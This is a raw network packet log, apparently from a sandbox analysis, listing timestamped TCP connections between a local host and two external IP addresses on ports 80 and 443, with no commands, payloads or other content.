Nov 18, 2024 23:04:14.740284920 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:14.740291119 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:14.740315914 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:14.740350962 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:14.740353107 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:14.740382910 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:14.740417004 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:14.740432978 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:14.740433931 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:14.740453959 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:14.740458965 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:14.740533113 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:14.740684986 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:14.740717888 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:14.740750074 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:14.740751028 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:14.740782976 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:14.740783930 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:14.740804911 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:14.740818024 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:14.740848064 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:14.740853071 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:14.740866899 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:14.740907907 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:14.740911961 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:14.740942001 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:14.740971088 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:14.740978003 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:14.740989923 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:14.741035938 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:14.741358995 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:14.741390944 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:14.741425991 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:14.741425991 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:14.741458893 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:14.741460085 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:14.741482019 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:14.741493940 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:14.741518974 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:14.741527081 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:14.741554976 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:14.741561890 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:14.741575003 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:14.741636992 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:14.741928101 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:14.741961002 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:14.741995096 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:14.742011070 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:14.742027998 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:14.742029905 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:14.742062092 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:14.742094994 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:14.742105007 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:14.742127895 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:14.742156029 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:14.742176056 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:14.742177010 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:14.742213011 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:14.742243052 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:14.742245913 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:14.742260933 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:14.742280006 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:14.742297888 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:14.742312908 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:14.742336035 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:14.742347002 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:14.742360115 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:14.742400885 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:14.742865086 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:14.742898941 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:14.742930889 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:14.742933989 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:14.742955923 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:14.742964983 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:14.742975950 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:14.742997885 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:14.743016958 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:14.743031979 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:14.743053913 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:14.743065119 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:14.743081093 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:14.743098021 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:14.743117094 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:14.743129969 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:14.743140936 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:14.743163109 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:14.743180037 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:14.743196011 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:14.743211985 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:14.743231058 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:14.743252993 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:14.743263960 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:14.743278980 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:14.743297100 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:14.743329048 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:14.743355036 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:14.743861914 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:14.743896008 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:14.743923903 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:14.743928909 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:14.743963957 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:14.743964911 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:14.743998051 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:14.744000912 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:14.744029999 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:14.744046926 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:14.744046926 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:14.744060993 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:14.744081974 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:14.744095087 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:14.744102001 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:14.744127989 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:14.744149923 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:14.744160891 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:14.744180918 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:14.744194984 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:14.744210958 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:14.744229078 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:14.744256020 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:14.744261980 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:14.744275093 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:14.744296074 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:14.744319916 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:14.744329929 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:14.744339943 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:14.744395018 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:14.744755030 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:14.744787931 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:14.744820118 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:14.744834900 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:14.744853020 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:14.744858980 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:14.744887114 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:14.744919062 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:14.744924068 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:14.744924068 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:14.744949102 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:14.744956017 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:14.744976044 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:14.745012999 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:14.758058071 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:14.758115053 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:14.758135080 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:14.758148909 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:14.758168936 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:14.758218050 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:14.758218050 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:14.758254051 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:14.758275032 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:14.758286953 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:14.758301020 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:14.758322001 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:14.758352995 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:14.758374929 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:14.758501053 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:14.758536100 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:14.758565903 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:14.758589029 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:14.758634090 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:14.758666992 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:14.758687973 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:14.758729935 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:14.758867025 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:14.758899927 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:14.758933067 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:14.758968115 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:14.759000063 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:14.789807081 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:14.789856911 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:14.789890051 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:14.789916039 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:14.789941072 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:14.789973974 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:14.790005922 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:14.790009975 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:14.790009975 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:14.790009975 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:14.790038109 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:14.790040970 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:14.790062904 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:14.790076017 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:14.790090084 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:14.790121078 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:14.817696095 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:14.817749023 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:14.817773104 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:14.817779064 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:14.817800999 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:14.817830086 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:14.817831039 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:14.817866087 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:14.817884922 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:14.817898989 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:14.817909002 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:14.817934036 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:14.817966938 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:14.817990065 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:14.818113089 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:14.818186045 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:14.818223000 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:14.818254948 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:14.818276882 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:14.818288088 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:14.818298101 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:14.818317890 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:14.818341970 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:14.818351984 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:14.818361998 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:14.818384886 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:14.818402052 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:14.818418980 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:14.818438053 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:14.818475008 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:14.818644047 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:14.818707943 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:14.818736076 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:14.818768978 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:14.818794966 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:14.818804026 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:14.818816900 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:14.818837881 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:14.818855047 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:14.818871975 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:14.818895102 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:14.818905115 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:14.818914890 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:14.818964005 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:14.819165945 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:14.819196939 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:14.819226027 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:14.819230080 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:14.819246054 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:14.819262981 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:14.819282055 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:14.819295883 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:14.819304943 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:14.819346905 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:14.821346045 CET	443	49828	13.107.246.45	192.168.2.4
Nov 18, 2024 23:04:14.821820974 CET	49828	443	192.168.2.4	13.107.246.45
Nov 18, 2024 23:04:14.821846962 CET	443	49828	13.107.246.45	192.168.2.4
Nov 18, 2024 23:04:14.822247982 CET	49828	443	192.168.2.4	13.107.246.45
Nov 18, 2024 23:04:14.822258949 CET	443	49828	13.107.246.45	192.168.2.4
Nov 18, 2024 23:04:14.826914072 CET	443	49827	13.107.246.45	192.168.2.4
Nov 18, 2024 23:04:14.826998949 CET	443	49827	13.107.246.45	192.168.2.4
Nov 18, 2024 23:04:14.827064037 CET	49827	443	192.168.2.4	13.107.246.45
Nov 18, 2024 23:04:14.827142000 CET	49827	443	192.168.2.4	13.107.246.45
Nov 18, 2024 23:04:14.827178955 CET	443	49827	13.107.246.45	192.168.2.4
Nov 18, 2024 23:04:14.827204943 CET	49827	443	192.168.2.4	13.107.246.45
Nov 18, 2024 23:04:14.827220917 CET	443	49827	13.107.246.45	192.168.2.4
Nov 18, 2024 23:04:14.829873085 CET	49832	443	192.168.2.4	13.107.246.45
Nov 18, 2024 23:04:14.829960108 CET	443	49832	13.107.246.45	192.168.2.4
Nov 18, 2024 23:04:14.830066919 CET	49832	443	192.168.2.4	13.107.246.45
Nov 18, 2024 23:04:14.830267906 CET	49832	443	192.168.2.4	13.107.246.45
Nov 18, 2024 23:04:14.830303907 CET	443	49832	13.107.246.45	192.168.2.4
Nov 18, 2024 23:04:14.857266903 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:14.857286930 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:14.857302904 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:14.857332945 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:14.857388020 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:14.857420921 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:14.857436895 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:14.857450962 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:14.857472897 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:14.857494116 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:14.857501984 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:14.857542038 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:14.857575893 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:14.857706070 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:14.857778072 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:14.857794046 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:14.857809067 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:14.857822895 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:14.857837915 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:14.857841015 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:14.857853889 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:14.857860088 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:14.857903004 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:14.858170986 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:14.858186007 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:14.858201981 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:14.858217001 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:14.858230114 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:14.858232975 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:14.858247995 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:14.858263016 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:14.858275890 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:14.858278990 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:14.858293056 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:14.858325958 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:14.858357906 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:14.858607054 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:14.858622074 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:14.858635902 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:14.858660936 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:14.858690023 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:14.858746052 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:14.858798027 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:14.858880997 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:14.858897924 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:14.858912945 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:14.858927965 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:14.858937979 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:14.858943939 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:14.858959913 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:14.858961105 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:14.858974934 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:14.858989000 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:14.859004021 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:14.859004021 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:14.859020948 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:14.859024048 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:14.859069109 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:14.859112978 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:14.859461069 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:14.859476089 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:14.859492064 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:14.859522104 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:14.859571934 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:14.859601974 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:14.859658957 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:14.859719992 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:14.859736919 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:14.859776020 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:14.859802961 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:14.859884024 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:14.859899044 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:14.859914064 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:14.859927893 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:14.859939098 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:14.859945059 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:14.859957933 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:14.860012054 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:14.860219002 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:14.860234022 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:14.860251904 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:14.860266924 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:14.860276937 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:14.860282898 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:14.860295057 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:14.860301018 CET	80	49794	31.41.244.11	192.168.2.4
